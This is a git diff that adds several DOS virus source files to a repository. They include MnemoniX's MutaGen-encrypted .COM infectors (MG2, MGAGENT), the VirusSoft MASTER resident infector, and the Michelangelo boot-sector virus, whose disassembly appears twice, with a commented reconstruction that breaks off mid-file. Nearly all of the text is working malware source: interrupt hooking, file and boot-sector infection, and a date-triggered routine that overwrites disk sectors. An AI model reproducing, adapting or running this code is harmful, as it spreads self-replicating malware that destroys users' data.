0000000..7875e3c --- /dev/null +++ b/m/MG2.ASM @@ -0,0 +1,206 @@ +; ========================================================================> +; MutaGenic Agent ][ - MutaGen V1.3 Test Virus +; by MnemoniX 1994 +; +; A simple resident .COM infector implementing MutaGen. +; To assemble: +; TASM mg2 +; TLINK /t mg2 mutagen +; ========================================================================> + +ID equ 'MG' + +PING equ 0BADh ; a seldom used DOS function +PONG equ 0DEADh ; residency response + +MUTAGEN_SIZE equ 1652 ; version 1.3 + +extrn _MUTAGEN:near + +code segment byte public 'code' + org 100h + assume cs:code,ds:code,es:code,ss:code + +start: + jmp virus_begin ; fake host program + dw ID ; infection signature +virus_begin: + call $ + 3 + pop bp + sub bp,offset $ - 1 + + mov ax,PING ; are we already resident? + int 21h + cmp dx,PONG + je installed ; if so, don't repeat ... + + mov ax,ds ; blah, blah, blah + dec ax + mov ds,ax + + sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 + mov ax,ds:[12h] + mov ds,ax + + sub ax,15 + mov es,ax + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],8 + mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + + push cs ; now move virus into memory + pop ds + mov di,100h + mov cx,(offset virus_end - offset start) / 2 + lea si,[bp + start] + rep movsw + + xor ax,ax ; move interrupt vector 21 + mov ds,ax + + mov si,21h * 4 ; (saving it first) + mov di,offset old_int_21 + movsw + movsw + + mov ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es + +installed: + push cs + push cs + pop ds + pop es + + mov di,100h ; restore original host + push di + lea si,[bp + host] + movsw + movsw + movsb + + xor ax,ax ; fix a few registers + cwd + mov si,100h + + ret ; and leave + +new_int_21: + cmp ax,PING ; residency test? + je pass_signal ; yah yah! + + cmp ax,4B00h ; program execute? + je execute ; oui oui ... + +int_21_exit: + db 0EAh ; nope, never mind +old_int_21 dd 0 + +pass_signal: + mov dx,PONG ; give passing signal + jmp int_21_exit + +execute: + push ax bx cx dx di si es ds ; a PUSHA is nicer, but it + ; won't work on an 8088 + + mov ax,3D00h ; open file + int 21h + jnc get_sft + jmp cant_open ; ecch ... +get_sft: + xchg ax,bx ; this virus implements the + push bx ; use of System File Table + mov ax,1220h ; (TM) manipulation + int 2Fh + + mov ax,1216h + mov bl,es:[di] + int 2Fh + pop bx + + push cs + pop ds + + mov cx,5 ; read header of file + mov dx,offset host + mov ah,3Fh + int 21h + + cmp word ptr host,'ZM' ; .EXE file? + je dont_infect ; oh well ... + + cmp word ptr host[3],ID ; already infected? + je dont_infect ; maybe next time ... + + mov word ptr es:[di + 2],2 ; a slick way of sidestepping + ; file attributes + mov ax,es:[di + 11h] ; get file size + + cmp ax,65729 - VIRUS_SIZE + 100 + jae dont_infect ; don't infect, too large + + mov es:[di + 15h],ax ; move to end of file + + sub ax,3 ; adjust for jump + mov word ptr new_jump[1],ax + +; MutaGen calling routine + push es di + + push cs ; setup registers + pop es + + mov di,offset virus_end + mov si,offset virus_begin + mov cx,VIRUS_SIZE + add ax,103h + mov dx,ax + + call _mutagen ; "It's a POLYMORPHIC WAR + ; OUT THERE!" - P. Ferguson + + pop di es ; restore DI and ES + + mov ah,40h ; save virus code to file + int 21h + + mov word ptr es:[di + 15h],0 ; reset file pointer + + mov ah,40h ; and write new jump to file + mov dx,offset new_jump + mov cx,5 + int 21h + + mov cx,es:[di + 0Dh] ; restore file time + mov dx,es:[di + 0Fh] + mov ax,5701h + int 21h + +dont_infect: + mov ah,3Eh ; close up shop + int 21h +cant_open: + pop ds es si di dx cx bx ax + jmp int_21_exit + + db '[MutaGenic Agent II]',0 + +host: ; original host header + mov ax,4C00h + int 21h + +new_jump db 0E9h ; new jump instruction + dw 0 + dw ID + +virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus + ; size + +VIRUS_SIZE equ virus_end - virus_begin +MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption + ; buffer + +code ends + end start diff --git a/m/MG3.ASM b/m/MG3.ASM new file mode 100755 index 0000000..6c07f34 --- /dev/null +++ b/m/MG3.ASM @@ -0,0 +1,314 @@ +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + xchg ax,dx + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End.--- + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/m/MGAGENT.ASM b/m/MGAGENT.ASM new file mode 100755 index 0000000..48fc48f --- /dev/null +++ b/m/MGAGENT.ASM @@ -0,0 +1,174 @@ +; MutaGenic Agent - MutaGen Test Virus +; by MnemoniX 1994 +; +; This is an ordinary run-of-the-mill virus that infects a .COM file in +; the current directory on run and uses MutaGen to encrypt itself. + +MGEN_SIZE equ 1032 ; size of MutaGen + +ID equ 'MG' ; ID word +MAX_INFECTIONS equ 2 ; infections per run + +extrn _MUTAGEN:near ; call MutaGen + +code segment byte public 'code' + org 100h + assume cs:code,ds:code,es:code,ss:code + +start: + db 0E9h,03h,00h ; jmp virus_begin + dw ID + +host: + db 0CDh,020h,00 + +virus_begin: + call $+3 ; BP serves as pointer + pop bp + sub bp,offset $-1 + + mov byte ptr [bp+offset infect],0 ; clear infection flag + + mov ah,2Fh ; get original DTA address + int 21h ; and save it + push bx + + lea dx,[bp+END_MGEN] ; set our DTA to the end of the + mov ah,1Ah ; virus code + int 21h + + call infect_search ; infection routine ... + + pop dx ; ... and we're done + mov ah,1Ah + int 21h + + mov di,100h ; enter in original five bytes of host + push di ; save DI as host address + lea si,[bp+offset prog_len] ; get address of original host header + mov si,[si] ; found at end of host program + add si,100h + movsb ; move five bytes + movsw + movsw + + ret ; and call host + +infect_search proc near + + mov ah,4Eh ; search for first .COM file + lea dx,[bp+com_file] ; in directory + xor cx,cx + int 21h + jnc infect_file ; none present, leave + jmp inf_complete + +infect_file: + mov ax,3D02h ; .COM file found, open + lea dx,[bp+END_MGEN+1Eh] + int 21h + + mov bx,ax ; file handle in BX + mov ax,5700h ; get file date and time + int 21h ; and save it + push cx + push dx + + lea dx,[bp+orig_header] ; now read in first five bytes + mov cx,5 ; of the file + mov ah,3Fh + int 21h + + mov ax,4202h ; no, infect this file + call move_pointer ; (this call is to save bytes) + + cmp ax,64000 + jae infected ; file is too big, skip it + cmp [bp+offset orig_header+3],ID + je infected ; if previously infected, skip it + + lea si,[bp+offset new_jump+1] + + push [bp+offset prog_len] ; save original program length + mov [bp+offset prog_len],ax ; store this program length + + add ax,2 + mov [si],ax + + lea dx,[bp+offset orig_header] ; store first five bytes of file + mov cx,5 ; at end of file + mov ah,40h + int 21h + +; MutaGen calling routine + push bx + push bp + mov dx,[si] ; MutaGen offset calculation + add dx,103h + mov cx,VIRUS_SIZE ; write VIRUS_SIZE bytes + lea di,[bp+END_MGEN+80h] ; store at end of virus + lea si,[bp+offset virus_begin] + call _MUTAGEN + + pop bp + pop bx + lea dx,[bp+offset END_MGEN+80h] ; write encrypted code + mov ah,40h ; to file + int 21h + + pop [bp+offset prog_len] ; restore original program length + + mov ax,4200h ; lastly, add our new jump instruction + call move_pointer ; to the beginning of the file + + lea dx,[bp+offset new_jump] + mov cx,5 ; write five bytes to file + mov ah,40h + int 21h + + inc byte ptr [bp+offset infect] ; set infection flag + +infected: + pop dx ; restore time and date + pop cx + mov ax,5701h + int 21h + + mov ah,3Eh ; close file + int 21h + + cmp byte ptr [bp+offset infect],1 ; did an infection occur? + je inf_complete ; yes, go + + mov ah,4Fh ; find another file + int 21h ; and repeat + jc inf_complete ; none found, quit + jmp infect_file +inf_complete: + ret + + +move_pointer: + xor cx,cx ; i'm being really stingy with space + xor dx,dx ; here ... + int 21h + ret + + endp + +com_file db '*.COM',0 ; .COM file +orig_header db 5 dup(0) ; first three bytes of program +new_jump db 0E9h,00,00 ; new jump instruction + dw ID ; ID signature +prog_len dw 3 ; length of file for return sequence +infect db 0 +sig db '[MutaGenic Agent]',0 + +virus_end: + +END_MGEN equ virus_end + MGEN_SIZE +VIRUS_SIZE equ virus_end - virus_begin + MGEN_SIZE + +code ends + end start + diff --git a/m/MICH.ASM b/m/MICH.ASM new file mode 100755 index 0000000..a4d9d06 --- /dev/null +++ b/m/MICH.ASM @@ -0,0 +1,234 @@ +; This is a disassembly of the much-hyped michelangelo virus. +; As you can see, it is a derivative of the Stoned virus. The +; junk bytes at the end of the file are probably throwbacks to +; the Stoned virus. In any case, it is yet another boot sector +; and partition table infector. + +michelangelo segment byte public + assume cs:michelangelo, ds:michelangelo +; Disassembly by Dark Angel of PHALCON/SKISM + org 0 + + jmp entervirus +highmemjmp db 0F5h, 00h, 80h, 9Fh +maxhead db 2 ; used by damagestuff +firstsector dw 3 +oldint13h dd 0C8000256h + +int13h: + push ds + push ax + or dl, dl ; default drive? + jnz exitint13h ; exit if not + xor ax, ax + mov ds, ax + test byte ptr ds:[43fh], 1 ; disk 0 on? + jnz exitint13h ; if not spinning, exit + pop ax + pop ds + pushf + call dword ptr cs:[oldint13h]; first call old int 13h + pushf + call infectdisk ; then infect + popf + retf 2 +exitint13h: pop ax + pop ds + jmp dword ptr cs:[oldint13h] + +infectdisk: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + push cs + pop es + mov si, 4 +readbootblock: + mov ax,201h ; Read boot block to + mov bx,200h ; after virus + mov cx,1 + xor dx,dx + pushf + call oldint13h + jnc checkinfect ; continue if no error + xor ax,ax + pushf + call oldint13h ; Reset disk + dec si ; loop back + jnz readbootblock + jmp short quitinfect ; exit if too many failures +checkinfect: + xor si,si + cld + lodsw + cmp ax,[bx] ; check if already infected + jne infectitnow + lodsw + cmp ax,[bx+2] ; check again + je quitinfect +infectitnow: + mov ax,301h ; Write old boot block + mov dh,1 ; to head 1 + mov cl,3 ; sector 3 + cmp byte ptr [bx+15h],0FDh ; 360k disk? + je is360Kdisk + mov cl,0Eh +is360Kdisk: + mov firstsector,cx + pushf + call oldint13h + jc quitinfect ; exit on error + mov si,200h+offset partitioninfo + mov di,offset partitioninfo + mov cx,21h ; Copy partition table + cld + rep movsw + mov ax,301h ; Write virus to sector 1 + xor bx,bx + mov cx,1 + xor dx,dx + pushf + call oldint13h +quitinfect: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +entervirus: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov ax,7C00h ; Set stack to just below + mov sp,ax ; virus load point + sti + push ds ; save 0:7C00h on stack for + push ax ; later retf + mov ax,ds:[13h*4] + mov word ptr ds:[7C00h+offset oldint13h],ax + mov ax,ds:[13h*4+2] + mov word ptr ds:[7C00h+offset oldint13h+2],ax + mov ax,ds:[413h] ; memory size in K + dec ax ; 1024 K + dec ax + mov ds:[413h],ax ; move new value in + mov cl,6 + shl ax,cl ; ax = paragraphs of memory + mov es,ax ; next line sets seg of jmp + mov word ptr ds:[7C00h+2+offset highmemjmp],ax + mov ax,offset int13h + mov ds:[13h*4],ax + mov ds:[13h*4+2],es + mov cx,offset partitioninfo + mov si,7C00h + xor di,di + cld + rep movsb ; copy to high memory + ; and transfer control there + jmp dword ptr cs:[7C00h+offset highmemjmp] +; destination of highmem jmp + xor ax,ax + mov es,ax + int 13h ; reset disk + push cs + pop ds + mov ax,201h + mov bx,7C00h + mov cx,firstsector + cmp cx,7 ; hard disk infection? + jne floppyboot ; if not, do floppies + mov dx,80h ; Read old partition table of + int 13h ; first hard disk to 0:7C00h + jmp short exitvirus +floppyboot: + mov cx,firstsector ; read old boot block + mov dx,100h ; to 0:7C00h + int 13h + jc exitvirus + push cs + pop es + mov ax,201h ; read boot block + mov bx,200h ; of first hard disk + mov cx,1 + mov dx,80h + int 13h + jc exitvirus + xor si,si + cld + lodsw + cmp ax,[bx] ; is it infected? + jne infectharddisk ; if not, infect HD + lodsw ; check infection + cmp ax,[bx+2] + jne infectharddisk +exitvirus: + xor cx,cx ; Real time clock get date + mov ah,4 ; dx = mon/day + int 1Ah + cmp dx,306h ; March 6th + je damagestuff + retf ; return control to original + ; boot block @ 0:7C00h +damagestuff: + xor dx,dx + mov cx,1 +smashanothersector: + mov ax,309h + mov si,firstsector + cmp si,3 + je smashit + mov al,0Eh + cmp si,0Eh + je smashit + mov dl,80h ; first hard disk + mov maxhead,4 + mov al,11h +smashit: + mov bx,5000h ; random memory area + mov es,bx ; at 5000h:5000h + int 13h ; Write al sectors to drive dl + jnc skiponerror ; skip on error + xor ah,ah ; Reset disk drive dl + int 13h +skiponerror: + inc dh ; next head + cmp dh,maxhead ; 2 if floppy, 4 if HD + jb smashanothersector + xor dh,dh ; go to next head/cylinder + inc ch + jmp short smashanothersector +infectharddisk: + mov cx,7 ; Write partition table to + mov firstsector,cx ; sector 7 + mov ax,301h + mov dx,80h + int 13h + jc exitvirus + mov si,200h+offset partitioninfo ; Copy partition + mov di,offset partitioninfo ; table information + mov cx,21h + rep movsw + mov ax,301h ; Write to sector 8 + xor bx,bx ; Copy virus to sector 1 + inc cl + int 13h +;* jmp short 01E0h + db 0EBh, 32h ; ?This should crash? +; The following bytes are meaningless. +garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h +partitioninfo: db 42h dup (0) +michelangelo ends + end + diff --git a/m/MICHAEL.ASM b/m/MICHAEL.ASM new file mode 100755 index 0000000..1a5a782 --- /dev/null +++ b/m/MICHAEL.ASM @@ -0,0 +1,234 @@ + +; This is a disassembly of the much-hyped michelangelo virus. +; As you can see, it is a derivative of the Stoned virus. The +; junk bytes at the end of the file are probably throwbacks to +; the Stoned virus. In any case, it is yet another boot sector +; and partition table infector. + +michelangelo segment byte public + assume cs:michelangelo, ds:michelangelo +; Disassembly by Dark Angel of PHALCON/SKISM + org 0 + + jmp entervirus +highmemjmp db 0F5h, 00h, 80h, 9Fh +maxhead db 2 ; used by damagestuff +firstsector dw 3 +oldint13h dd 0C8000256h + +int13h: + push ds + push ax + or dl, dl ; default drive? + jnz exitint13h ; exit if not + xor ax, ax + mov ds, ax + test byte ptr ds:[43fh], 1 ; disk 0 on? + jnz exitint13h ; if not spinning, exit + pop ax + pop ds + pushf + call dword ptr cs:[oldint13h]; first call old int 13h + pushf + call infectdisk ; then infect + popf + retf 2 +exitint13h: pop ax + pop ds + jmp dword ptr cs:[oldint13h] + +infectdisk: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + push cs + pop es + mov si, 4 +readbootblock: + mov ax,201h ; Read boot block to + mov bx,200h ; after virus + mov cx,1 + xor dx,dx + pushf + call oldint13h + jnc checkinfect ; continue if no error + xor ax,ax + pushf + call oldint13h ; Reset disk + dec si ; loop back + jnz readbootblock + jmp short quitinfect ; exit if too many failures +checkinfect: + xor si,si + cld + lodsw + cmp ax,[bx] ; check if already infected + jne infectitnow + lodsw + cmp ax,[bx+2] ; check again + je quitinfect +infectitnow: + mov ax,301h ; Write old boot block + mov dh,1 ; to head 1 + mov cl,3 ; sector 3 + cmp byte ptr [bx+15h],0FDh ; 360k disk? + je is360Kdisk + mov cl,0Eh +is360Kdisk: + mov firstsector,cx + pushf + call oldint13h + jc quitinfect ; exit on error + mov si,200h+offset partitioninfo + mov di,offset partitioninfo + mov cx,21h ; Copy partition table + cld + rep movsw + mov ax,301h ; Write virus to sector 1 + xor bx,bx + mov cx,1 + xor dx,dx + pushf + call oldint13h +quitinfect: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +entervirus: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov ax,7C00h ; Set stack to just below + mov sp,ax ; virus load point + sti + push ds ; save 0:7C00h on stack for + push ax ; later retf + mov ax,ds:[13h*4] + mov word ptr ds:[7C00h+offset oldint13h],ax + mov ax,ds:[13h*4+2] + mov word ptr ds:[7C00h+offset oldint13h+2],ax + mov ax,ds:[413h] ; memory size in K + dec ax ; 1024 K + dec ax + mov ds:[413h],ax ; move new value in + mov cl,6 + shl ax,cl ; ax = paragraphs of memory + mov es,ax ; next line sets seg of jmp + mov word ptr ds:[7C00h+2+offset highmemjmp],ax + mov ax,offset int13h + mov ds:[13h*4],ax + mov ds:[13h*4+2],es + mov cx,offset partitioninfo + mov si,7C00h + xor di,di + cld + rep movsb ; copy to high memory + ; and transfer control there + jmp dword ptr cs:[7C00h+offset highmemjmp] +; destination of highmem jmp + xor ax,ax + mov es,ax + int 13h ; reset disk + push cs + pop ds + mov ax,201h + mov bx,7C00h + mov cx,firstsector + cmp cx,7 ; hard disk infection? + jne floppyboot ; if not, do floppies + mov dx,80h ; Read old partition table of + int 13h ; first hard disk to 0:7C00h + jmp short exitvirus +floppyboot: + mov cx,firstsector ; read old boot block + mov dx,100h ; to 0:7C00h + int 13h + jc exitvirus + push cs + pop es + mov ax,201h ; read boot block + mov bx,200h ; of first hard disk + mov cx,1 + mov dx,80h + int 13h + jc exitvirus + xor si,si + cld + lodsw + cmp ax,[bx] ; is it infected? + jne infectharddisk ; if not, infect HD + lodsw ; check infection + cmp ax,[bx+2] + jne infectharddisk +exitvirus: + xor cx,cx ; Real time clock get date + mov ah,4 ; dx = mon/day + int 1Ah + cmp dx,306h ; March 6th + je damagestuff + retf ; return control to original + ; boot block @ 0:7C00h +damagestuff: + xor dx,dx + mov cx,1 +smashanothersector: + mov ax,309h + mov si,firstsector + cmp si,3 + je smashit + mov al,0Eh + cmp si,0Eh + je smashit + mov dl,80h ; first hard disk + mov maxhead,4 + mov al,11h +smashit: + mov bx,5000h ; random memory area + mov es,bx ; at 5000h:5000h + int 13h ; Write al sectors to drive dl + jnc skiponerror ; skip on error + xor ah,ah ; Reset disk drive dl + int 13h +skiponerror: + inc dh ; next head + cmp dh,maxhead ; 2 if floppy, 4 if HD + jb smashanothersector + xor dh,dh ; go to next head/cylinder + inc ch + jmp short smashanothersector +infectharddisk: + mov cx,7 ; Write partition table to + mov firstsector,cx ; sector 7 + mov ax,301h + mov dx,80h + int 13h + jc exitvirus + mov si,200h+offset partitioninfo ; Copy partition + mov di,offset partitioninfo ; table information + mov cx,21h + rep movsw + mov ax,301h ; Write to sector 8 + xor bx,bx ; Copy virus to sector 1 + inc cl + int 13h +;* jmp short 01E0h + db 0EBh, 32h ; ?This should crash? +; The following bytes are meaningless. +garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h +partitioninfo: db 42h dup (0) +michelangelo ends + end diff --git a/m/MICHEL.ASM b/m/MICHEL.ASM new file mode 100755 index 0000000..3e47433 --- /dev/null +++ b/m/MICHEL.ASM @@ -0,0 +1,322 @@ + TITLE MICHELANGELO, a STONED - derived Boot Virus + SUBTTL reverse engineered source code for MASM 5.1/6.0 + + PAGE 60,132 + .RADIX 16 + + IF1 + %Out VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION ͻ + %Out + %Out Ŀ + %Out Ĵ M I C H E L A N G E L O İ + %Out ٰ + %Out + %Out Layout (C) 1992 164A12565AA18213165556D3125C4B962712 ͼ + ENDIF + + comment # + + ! ! + ! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, ! + ! Caprese, Republic of Florence ... ! + ! This boot block / partition table virus will overwrite most of the ! + ! data on eiter floppy disks or winchester drives at HIS birthday. ! + ! ! + ! This source code may only be used for educational purposes! ! + ! ! + ! Do not offend the law by distributing viral or trojan horse soft- ! + ! ware to anybody who is not aware of the potential danger of the ! + ! software he receives. ! + ! ! + + # + + B equ + D equ + O equ + P equ + S equ + T equ + v equ + W equ + + + SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> + IFNB <_X> + IFIDN <_X>, + PUSHF + ELSE + PUSH _X + ENDIF + ENDIF + ENDM + ENDM + + REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c + IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> + IFNB <_X> + IFIDN <_X>, + POPF + ELSE + POP _X + ENDIF + ENDIF + ENDM + ENDM + + MOV_S MACRO S1,S2 + SAVE S2 + REST S1 + ENDM + +TEXT SEGMENT PARA PUBLIC 'CODE' + + ASSUME CS:TEXT,DS:TEXT,ES:TEXT + + ORG 0 + + MICHELANGELO = 0306 ; ... his BCD birthday + ; + SECSIZE = 0200 ; + WINCHESTER1 = 80 ; + bREAD = 2 ; + wREAD = bREAD SHL 8 ; + bWRITE = 3 ; + wWRITE = bWRITE SHL 8 ; + ; + DTA = T B + SECSIZE ; + ; + OR13OFF = T W + 04C ; + OR13SEG = T W + 04E ; + SYSRAM = T W + 413 ; + MOSTAT = T B + 43F ; + ; + PARTTBL = T B + 1BE ; + ; + OFSFRM0 EQU 7C00 ; + ; +START: JMP INIT ; + ; +; ----------------------------------------------------------------------------- + ; +SHDWRELOCOFS = T W + OFSFRM0 ; +RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp +SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code. +RELOCSEG DW ? ; + ; +HEADS DB ? ; + ; +CYLSEG DW ? ; + ; +SHDW13OFS = T W + OFSFRM0 ; +BIOS13OFS DW ? ; Holds original (BIOS) +SHDW13SEG = T W + OFSFRM0 ; int 13 vector. +BIOS13SEG DW ? ; + ; +; ----------------------------------------------------------------------------- + ; +I13_ISR: SAVE DS,AX ; INT 13 SR, save regs + OR DL,DL ; drive == A ? + JNZ I13_EX ; jmp if not + XOR AX,AX ; DS = 0 + MOV DS,AX ; + TEST B P [MOSTAT],01 ; test diskette motor status: + JNZ I13_EX ; jmp if motor is already on + REST AX,DS ; + SAVE F ; call old interrupt 13 + CALL D P CS:[BIOS13OFS] ; routine + SAVE F ; save FLAGS + CALL TstInfF ; test & infect if necessary + REST F ; restore FLAGS + RETF 2 ; return, preserve FLAGS + ; +I13_EX: REST AX,DS ; restore regs, jmp to old int + JMP D P CS:[BIOS13OFS] ; 13h routine + ; +TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ; + MOV_S DS,CS ; ES = DS = CS; + MOV_S ES,CS ; + MOV SI,0004 ; SI = 4 (maxretry counter) + @@: MOV AX,wREAD v 1 ; AX : read one sector + MOV BX,O DTA ; BX : ... to buffer at CS:200 + MOV CX,0001 ; CX : ... cylinder 0, sector 1 + XOR DX,DX ; DX : ... drive 0, head 0 + SAVE F ; call old int13 routine by + CALL D P [BIOS13OFS] ; simulating an interrupt + JNB @F ; jmp if there isn't an error, + XOR AX,AX ; else reset disk system ... + SAVE F ; + CALL D P [BIOS13OFS] ; + DEC SI ; decrement maxretry counter + JNZ @B ; try it again if not zero, + JMP S TstInfF_EX ; else jmp to exit in haste. + ; + @@: XOR SI,SI ; boot sector has been read, + CLD ; now test if disk already has + LODSW ; been infected. Assume infect- + CMP AX,[BX] ; ion if the first 4 bytes of + JNZ @F ; MICHI and the boot sector are + LODSW ; identical ... + CMP AX,[BX+02] ; + JZ TstInfF_EX ; exit, disk already infected + @@: MOV AX,wWRITE v 1 ; AX : Write one sector + MOV DH,01 ; DH : Head 1 + MOV CL,03 ; CL : Sector 3 + CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID + JZ @F ; field of the original boot + MOV CL,0E ; sector is not FD (5.25",360K) + @@: MOV [CYLSEG],CX ; store CX + SAVE F ; and write the original boot + CALL D P [BIOS13OFS] ; sector to the floppy disk + JB TstInfF_EX ; if an error occured, + MOV SI,O PARTTBL + SECSIZE ; exit in haste. + MOV DI,O PARTTBL ; Copy the last bytes of + MOV CX,0021 ; the original boot sector to + CLD ; the end of MICHI + REP MOVSW ; + MOV AX,wWRITE v 1 ; ... and write it to the boot + XOR BX,BX ; sector of the disk. + MOV CX,0001 ; + XOR DX,DX ; + SAVE F ; + CALL D P [BIOS13OFS] ; +TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs + RET ; ... return + ; +; ----------------------------------------------------------------------------- + ; +INIT: XOR AX,AX ; Set DS and SS to 0000, + MOV DS,AX ; initialize SP to 7C00. + CLI ; That's because the boot + MOV SS,AX ; sector will loaded into + MOV AX,OFSFRM0 ; memory at 0:7C00 on every + MOV SP,AX ; IBM clone ... + STI ; + ; + SAVE DS,AX ; save (0000:7C00) on stack + ; + MOV AX,[OR13OFF] ; Read old interrupt 13h vector + MOV [SHDW13OFS],AX ; and save it + MOV AX,[OR13SEG] ; + MOV [SHDW13SEG],AX ; + ; + MOV AX,[SYSRAM] ; Substract 2 from base memory + DEC AX ; size variable in BIOS data + DEC AX ; area + MOV [SYSRAM],AX ; + ; + MOV CL,06 ; ES = AX = segment part of huge + SHL AX,CL ; ptr to area 2KB below last + MOV ES,AX ; base memory location + ; + MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp + ; to relocated code + MOV AX,O I13_ISR ; Store ptr to new interrupt + MOV [OR13OFF],AX ; 13 service routine to + MOV 